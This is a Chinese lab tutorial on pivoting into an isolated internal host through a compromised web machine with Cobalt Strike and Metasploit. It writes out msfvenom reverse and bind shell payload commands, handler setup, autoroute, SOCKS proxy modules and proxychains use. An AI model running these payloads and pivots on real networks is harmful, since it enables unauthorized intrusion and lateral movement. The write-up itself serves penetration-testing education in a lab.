MSF-CobaltStrike实现内网socks代理转发上线


前言描述

在内网渗透时,常常出现网络不可达的情况,例如我们获得一台web主机的权限,该主机可以访问另一台主机,但我们本机是无法直接访问该内网主机的,而且该内网主机连不上外网

我们就需要将web机作为跳板,将我们主机的流量转发到不可直接访问的内网主机,就可以开始实现渗透测试获取内网主机权限了,如图

知识补充 :

反向连接 vs 正向连接的区别:

  • 反向连接:受害主机主动出来,适用于有出网权限的情况
  • 正向连接:攻击机主动去找,适用于无出网权限的内网主机

环境准备

虚拟机:

三台vmwarw虚拟机

攻击机:Kali

Web机,内网主机:两台win10

网络配置:

VMware网络配置

vm准备三个网络:
VMnet1:192.168.189.0/24 仅主机
VMnet6:192.168.42.0/24 仅主机
VMnet8:192.168.41.0/24 NAT模式

VMnet8:实现本地主机kali虚拟机进行互联
VMnet6:实现kali虚拟机web主机进行互联
VMnet1:实现web主机内网主机进行互联

本地主机与虚拟机网络配置

本地主机

由于是在虚拟机环境,本地主机默认所有的虚拟机都可以访问,所以记得在本地主机需要禁用VMnet1,VMnet6两个网络,这样本地主机就无法访问Web主机和内网主机的网络了

Kali攻击机

Windows10 Web靶机


window10 内网机:

通过以上配置基本实现了:

本地主机和Kali攻击机互通,kali攻击机可以访问web机,web机可以访问内网机

内网主机ip为192.168.189.132,图片有点问题

CobaltStrike

socks代理工作原理:

CS的socks代理是通过已控制的跳板机(Web主机)建立一个流量转发通道,具体流程如下:

复制代码
本地主机/攻击机 → socks代理端口 → 跳板机(Web主机) → 内网目标主机

1.CobaltStrike启动

Kail主机作为服务端启动

本地主机作为客户端,

2.上线第一台web主机

配置监听

上线ip一定要填kaliweb机可以互通的网段ip:192.168.42.0/24,监听端口不要占用了

生成exe后门放到web机上线

3.验证环境

先在内网主机起一个简单的web终端

网址为:http://192.168.189.132:9999 (刚刚图片ip有问题)

此时这个网页只能web主机和内网主机访问

现在情况kali是不能访问

接下来我们要实现本地主机和kali可以访问

4.实现CS转发

我们使用CSsocks代理转发

记住端口:27910

5.本地主机走代理端口

使用Proxifier进行流量转发

1. 添加代理服务器


2. 添加代理规则


规则说的是任何192.168.189.0/24的ip都走刚刚配置的代理端口

3. 验证主机是否可以访问
  • 本地主机访问
  • Kali的curl访问
bash 复制代码
curl -x socks4://192.168.41.128:27910 http://192.168.189.132:9999

6.上线内网主机

web主机上线使用的是反向连接(防火墙严进,宽出)

内网主机上线需要正向连接(内网主机不通本地主机,需要本地主机通过跳板去找)

重新生成正向连接的后门

挂目标本机的4444端口

在内网主机运行后门

该主机成功监听本地4444端口

现在直接在CS上线的web执行connect命令就行

复制代码
connect 192.168.189.132 4444


成功上线内网主机

MSF

msf的转发大体和CS是类似的,主要是纯命令行的使用

1.生成后门

生成后门上线web端的主机(ip要能和kali通讯那个ip)

复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.130 LPORT=4444 -f exe -o shell_x64.exe

2.上线web端后门

kali端进行监听

复制代码
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

运行后门上线

3.msf路由表配置

更新/查看路由表
复制代码
run post/multi/manage/autoroute

自动添加路由表

  • 这个命令会自动扫描当前已控制主机的网络接口和路由信息

  • 根据扫描结果,自动添加所有发现的内网网段到 MSF 的路由表中

  • 使得 MSF 可以通过当前已控制的主机访问其所在的内网其他主机

    run autoroute -p

查看当前路由表

  • -p 参数表示 "print"(打印/显示)
  • 这个命令会显示当前 MSF 中已配置的所有路由规则
  • 让你了解哪些内网网段可以通过当前会话进行访问

路由表的作用:

告诉MSF:"当你需要访问192.168.189.0/24网段时,不要直接尝试(会失败),而是通过Session 1(Web主机)来转发流量"

4.设置socks代理

使用background命令回到msf控制页面

使用msf的转发代理模块配置代理

bash 复制代码
use auxiliary/server/socks_proxy
查看参数
show options
可以根据情况设置socks版本,socks5或者socks4a
set srvport 1080
set version 4a
exploit

执行完kali本地的1080端口就可以通过web主机代理流量到内网主机了

5.验证代理

  • 使用curl命令
bash 复制代码
curl -x socks4://192.168.41.128:1080 http://192.168.189.132:9999
  • 使用本地工具proxychains
    编辑本地的proxychains程序配置文件
bash 复制代码
vim /etc/proxychains.conf

可以通过proxychains访问内网环境了

bash 复制代码
proxychains curl http://192.168.189.132:9999
  • 使用环境变量
bash 复制代码
export https_proxy=socks4://0.0.0.0:1080 http_proxy=socks4://0.0.0.0:1080

访问的问题解决了,就是使用msf的正向连接了

6.内网主机正向连接上线

生成shell

bash 复制代码
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o bin_shell_x64.exe

运行

msf连接

bash 复制代码
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.189.132
run

最好再更新一下路由

bash 复制代码
run post/multi/manage/autoroute

成功上线内网主机

由图可知
192.168.42.130->192.168.42.128
192.168.189.128->192.168.189.132

kail主机是通过web主机来连接内网主机的

至此,我们已成功通过实验完成Cobalt StrikeMetasploit的内网横向渗透。

免责声明

本文所述过程仅用于安全研究与教育目的,旨在提升对软件安全风险的认知与防御能力。所有操作均应在合法授权的隔离实验环境中进行,严禁用于任何未授权的系统渗透、攻击或非法活动。作者及发布方不对因误用、滥用本文内容而导致的任何直接或间接损失承担责任。用户须自行承担使用风险,并严格遵守《中华人民共和国网络安全法》及相关法律法规。

相关推荐
MAXrxc11 分钟前
VRRP初体验
网络
qq_2602412322 分钟前
将盾CDN:零信任安全架构的演进与落地实践
安全·php·安全架构
day day day ...28 分钟前
MyBatis条件误写引发的查询条件污染分析与防范
java·服务器·tomcat
qq_2602412329 分钟前
将盾CDN:移动网络环境下的安全接入技术
网络·安全
TechMasterPlus1 小时前
Linux U-Boot 与内核启动流程深度解析:从上电到 Shell 的完整之旅
linux·运维·服务器
大白菜和MySQL1 小时前
Linux下dhcp服务搭建
linux·运维·服务器
咖喱o1 小时前
策略路由
网络
SPC的存折1 小时前
1、MySQL故障排查与运维案例
linux·运维·服务器·数据库·mysql
Deitymoon1 小时前
linux——TCP服务器获取客户端IP地址
linux·服务器·tcp/ip
CDN3601 小时前
高防服务器磁盘 / CPU 爆满?攻击引流与资源扩容实战
运维·服务器·网络协议